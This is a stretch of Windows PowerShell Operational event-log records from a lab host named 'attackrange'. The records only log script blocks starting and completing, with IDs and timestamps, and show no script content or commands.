Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046280
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046279
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046274
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046273
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046249
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046248
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046247
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046246
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
